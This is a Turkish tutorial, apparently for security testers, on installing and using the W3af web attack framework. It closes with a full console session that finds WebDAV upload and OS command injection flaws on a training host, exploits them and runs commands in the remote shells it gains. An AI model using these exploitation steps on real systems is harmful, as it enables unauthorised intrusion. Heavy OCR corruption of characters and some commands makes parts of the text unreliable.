Web Uygulama giivenligine kartal bakisi!

Web uygulama giivenligi son birkag¢ yilin en heyecanli en dikkat ¢ceken konularindan biri.
Bunun temel sebebi Internetin hizla yayginlasmasi sonucu sanal hayatin daha ¢ok web iizerine
kaymasi. Bundan 4-5 yi1l kadar oncesinde daha ¢ok masaiistii uygulamalar1 olarak
kullandigimiz ¢ogu uygulama artik birer web uygulamasi olarak karsimiza ¢ikiyor. Hatta
masaiistii uygulamalarinin temelleri sayilan ofis programlari bile web iizerinden rahatlikla
kullanilabilir duruma geldi.

Normal bir kullanici i¢in bu gelisim iyi sayilabilir fakat ise giivenlik gozii ile bakan biz
giivenlik uzmanlar her ¢ikan yeniligi oldugu gibi kabul edemeyiz. Olaya biraz siipheli
yaklasip, incelediginizde aslinda kolay kabullendigimiz bu geg¢is seriivenin sagladigi
kolayliklarin yamn sira giivenlik yoniinden gétiiriilerinin oldugu gézlemlenecektir. Simdi
bakmayin bu uygulamalarda fazla giivenlik a¢i1g1 cikmadigina, biraz kullanimlart
yayginlagsin, dikkat ¢eker olsun gdrecegiz ne tiir yeni ataklar ortaya cikacak.

Oyle degil mi? Yillardir cesitli uygulamalari sorunsuz kullandigimiz1 diisiindiik fakat
geldigimiz noktada kullandigimiz ¢ogu uygulama giivenlik yoniinden siifi gecemeyip bastan
yaziliyor. O zamanlarda bu agikliklar yok muydu? Elbette vardi ama heniiz ad1 konmamusti,
bu kadar yayginlasmamist1 ve dahasi giivenlik bilinci o kadar gelismemisti.

Tekrar etmemde fayda var: Simdi giivenli oldugunu diisiindiigimiiz web uygulamalarinin
cogu bulunacak yeni atak yontemleri ile kisa siire sonra internetin tozlu sayfalarina
karisacak... Ve yenileri yazilacak daha giivenli oldugu varsayimu ile. Bir siire sonra onlarda
gidecek. Bu bir dongii, insanoglunun hicbir zaman miikemmel olamayacagim diisiiniirsek bu
durumu uygun sekilde kabul etmemiz gerekir.

Meslegimiz geregi “aktif kabullenme” yapmamiz gerekir. Yani riski ortadan kaldiramiyorsak
olabildigince azaltmak i¢in ¢calismaliy1z. Bu noktada yazilimi(web uygulamasi) yazan kadar
uygulamaya farkli gézle bakabilen insanlara ihtiya¢ vardir. Bu noktada Web uygulama
sistemleri lizerine yapilan giivenlik testlerinin 6nemi ortaya ¢ikiyor. Konu taze ve ge¢cmisi ¢ok
degil. Bu sebeple yapilan testler heniiz tam manasi ile bir standarda oturmamis durumda.
OWASP’1n ciddi ¢caligmalar sayesinde kisa siirede saglam yol alinacagim diisiiniiyorum.

Kendi sorumlulugumuzdaki web uygulamalarin test etmek i¢in genelde Acunetix,
Webinspect gibi ticari yazilimlar kullantyoruz fakat bu yazilimlarin hem lisans maliyeti hem
de bazi durumlarda size miidahale sansi1 vermemesi testlerdeki basar1 oranini diisiiriiyor.
Bunlara ek olarak acgik kaynak kodlu yazilimlar ile eksik kalan kisimlar1 tamamliyoruz.

Acik kaynak kodlu yazilimlardaki temel sorun da ayni isi yapan birden fazla yazilimin
bulunmasi ve bir test esnasinda onlarca farkli yazilimi kullanmamizin gerekmesi sonucu bir
dagimikligin bas gostermesi. Bu sorunu uygulamalari bir arada esnek kullanabilecegimiz,
birinin ¢iktisini diger araca otomatik aktarabilecek ve raporlayabilecek bir framework(¢ati) ile
cozebiliriz. Boylece ayni hedef i¢in yapilmasi gereken testleri tekrar yapmak yerine bu isi bir
cat1 altinda cesitli eklentiler ile halletmis oluyoruz.



W3af(Web Application Attack and Audit Framework)

Acik kaynak kodlu uygulamalarin kullanimi konusundaki eksikligi giderme adina Andres
Riancho tarafindan yazilmis W3af projesini kullanabiliriz.. W3af, web uygulamalari i¢cin
cesitli giivenlik testleri yapabilmeyi saglayan bir ¢ati. Bir web uygulamasini test etmek igin
kullanilacak yontemler ve araglar biitiinii de diyebiliriz. Oldukca yeni bir proje olmasina
ragmen giin gectikce artan topluluk destegi ve giincellemeler ile kisa siirede alaninda lider
projelerde biri olacaga benziyor.

Eger giivenlik testlerinde Metasploit kullaniyorsaniz W3af’yi de web
uygulamalar i¢in yazilmis Metasploit olarak kabul edebilirsiniz. Benim
testlerimde Linux iizerinde denemis olmama ragmen Python ile dili platform
bagimsiz yazilmis olmasi nedeni ile Windows iizerinde de problemsiz
calisacagini diigiiniiyorum.

Linux sistemler icin W3af kurulumu

Kurulumun tamamlanmasi ve uygulamanin beklendigi gibi calisabilmesi i¢in ekteki paketlere
ihtiya¢ duyacaktir. Bu paketler w3af-. Tar.gz ile birlikte gelmektedir ve paket acildiginda
extlib dizinine yerlesmektedir.

fpconst-0.7.2, pygoogle, pywordnet, SOAPpy, pyPdf, utidy

W3af.sf.net adresinden indirilecek son siiriim paketler sistemde agilarak 6nce bagiml paketler
icin kurulum yapilir sonrasinda dosyalarin agildigi dizine ./w3af komutu calistirilarak
programin ara yiiziine ulasilir.

Bagimli paketlerin kurulumu i¢in extlib dizinine gegilerek her bir paket icin

#cd paket_ismi
#python setup.py install

komutu tekrarlanir.

lifeoverip w3af # Is extlib/
SOAPpy/  __init__.pyc fpconst-0.7.2/ pygoogle/ pywordnet/ socksipy/
__init__.py* build/ pyPdf/ pyrijndael/ scapy/

W3af Nasil Calisir?

Giivenlik testlerinin temel prensibi olan Kesfet -> Kontrol Et/Denetle -> Saldir metodu W3af
icin de gecerli. Biinyesinde bulunan eklentiler sayesinde oncelikle test edilen sistemde
zayiflik icerebilecek hedefler(url, form vs)bulunur. Sonra bulunan bu hedeflere 6zel veriler
gonderilerek zayifliklar tespit edilir ve bu zayiflik noktalar1 exploit edilmeye calisilir.
Exploitin tiiriine gore sistemde shell acilabilir ya da ilgili zayifliga ait veriler sistemden alinir.



W3af ile Calismak

W3af ile text konsol, grafik arabirim ve web arabirimi olmak {izere ii¢ farkl sekilde
calisilabilir (son siiriimle birlikte web arabirimi tamamen kaldirilmistir). Konuya hakim
kullanicilar daha ¢ok konsol arabirimini tercih etmesi tavsiye ederim. Konsol arabirimi web
arabirimine gore daha saglam ve farkli 6zelliklere sahiptir. Konsol tecriibesi olmayan
kullanicilarda diisiiniilerek enteraktif ve yardim destekli bir konsol arabirimi tasarlanmis.

Kurulum yapilan dizinde ./w3af komutu parametresiz ¢alistirilirsa konsol arabirimi
acilacaktir. Konsol arabiriminde verilmesi gereken ilk komut help komutudur. Boylece
w3af’nin nasil ¢alistigi, hangi araclara, eklentilere sahip oldugu daha kolay anlasilir.

£ 192.168.2.3 - PuTTY

lifeoverip . fw3at
w3af ?
The following commands are available:

help ¥You are here. help [comnand] prints more specific help.
url-settings Configure the URL opener.
misc—-settings Configure w3af misc settings.

Load and sare sessions.

Enable, dizahle and configure plugins.

Start =ite analysis.

Exploit a vulnerability.

Enter the tools section.

Set the target URL.

Exit w3af.

Interaktif meniide kullanimi hakkinda bilgi sahibi olmadiginiz bir menii varsa “help menii
ismi” komutu ile bilgi alabilirsiniz.

Konsol degil de grafik arabirimi iizerinden c¢alisilmak istenirse ./w3af —g komutu
kullanilabilir.




webSpider [+

Meniileri kullanma

Ana meniiden alt meniilere gecis icin meniiniin isminiz yazmak yeterlidir. Tiim meniilerde
ortak 4 komut vardir. Bu komutlar; help, set, view ve back seklinde siralanabilir.

w3af>>> target

w3af/target>>> help

The following commands are available:

help You are here. help [commandlparameter] prints more specific help.
set Set a parameter value.

view List all configuration parameters and current values.

back Return to previous menu.

w3af/target>>>

Plugin(Eklentiler)

Giincel siiriimii adlarindan islevleri anlasilabilecek sekiz adet eklenti barindirmaktadir.
Bunlar; discovery, audit, grep, attack, output, mangle, evasion ve bruteforce.



Hangi eklentinin ne amagcla kullamldigr ile ilgili bilgi
http://w3af.sourceforge.net/pluginDesc.php adresinden edinilebilir.

W3af ile Web uygulama giivenlik testleri

W3af kullanilarak yapilms bir giivenlik testi ve sonrasinda sistemde shell(kabuk)
calistirma.

lifeoverip~#./w3af

w3af>>> plugins

w3af/plugins>>> output console,htmlFile

w3af/plugins>>> output

Enabled output plugins:

console

htmlFile

w3af/plugins>>> output config htmlFile

w3af/plugin/textFile>>> set fileName beyazsapka.html
w3af/plugin/textFile>>> back

w3af/plugins>>> output config console

w3af/plugin/console>>> set verbosity 0

w3af/plugin/console>>> back

w3af/plugins>>> audit dav, osCommanding,xss,xsrf

w3af/plugins>>> discovery serverHeader,allowedMethods,pykto
w3af/plugins>>> back

w3af>>> target

w3af/target>>> set target http://egitim-test/w3af/dav/,
http://egitim-test/w3af/osCommanding/vulnerable.php?command=f0as9
w3af/target>>> back

w3af>>> start

Auto-enabling plugin: discovery.allowedMethods

The Server header for this HTTP server is: Apache

The URL: "http://egitim-test/w3af/dav/" has the following DAV methods enabled:
- COPY, DELETE, GET, HEAD, LOCK, MOVE, OPTIONS, POST, PROPFIND,
PROPPATCH,

TRACE, UNLOCK

Found 2 URLs and 2 different points of injection.

The list of URLs is:

- http://egitim-test/w3af/dav/

- http://egitim-test/w3af/osCommanding/vulnerable.php

The list of fuzzable requests is:

- http://egitim-test/w3af/dav/ | Method: GET

- http://egitim-test/w3af/osCommanding/vulnerable.php | Method: GET |
Parameters: (command)

Starting dav plugin execution.

100% [ 12/2
Directory listing with HTTP PROPFIND method was found at directory:
http://egitim-test/w3af/dav/ The vulnerability was found in the request with




id 11.

File upload with HTTP PUT method was found at directory:
http://egitim-test/w3af/dav/ . Uploaded test file:

http://egitim-test/w3af/dav/FReli The vulnerability was found in the request

with id 9.

Starting osCommanding plugin execution.

100% [ 1272
OS Commanding was found at:
http://egitim-test/w3af/osCommanding/vulnerable.php . Using method: GET. The
data sent was: command=+ping+-c+6+egitim-test The vulnerability was found in
the request with id 15.

w3af>>> exploit

w3af/exploit>>> exploit *

Using plugin: davShell

davShell exploit plugin is starting.

Vulnerability successfully exploited.

Using plugin: osCommandingShell

osCommandingShell exploit plugin is starting.

Vulnerability successfully exploited.

remoteFileIncludeShell plugin has to be correctly configured to use.
w3af/exploit>>> interact

This is a list of available shells:

- [0] <davShell object (ruser: "nobody" | rsystem: "Linux bt 2.6.20-BT-PwnSauce-NOSMP
1686 GNU/Linux")>

- [1] <osCommandingShell object (ruser: "nobody" | rsystem: "Linux bt 2.6.20-BT-
PwnSauce-NOSMP 1686 GNU/Linux")>

w3af/exploit>>> interact 0

Execute "endInteraction” to get out of the remote shell. Commands typed in

this menu will be runned on the remote web server.

w3af/exploit/davShell-0>>> Is

base/ beef/ beyazsapka.html dav/ manual/ phpnuke/ unicornscan/ w3af/

w3af/exploit/davShell-0>>> w

23:24:12 up 16:20, 3 users, load average: 0.00, 0.00, 0.00

USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT

root ttyl - 07:05 15:03m 0.74s 0.01s /bin/sh /usr/X11R6/bin/startx
root pts/8 192.168.2.2  22:24 59:28 0.02s 0.02s -bash

root pts/9 192.168.2.2 23:16 0.00s 0.05s 0.01s w

w3af/exploit/davShell-0>>> endInteraction
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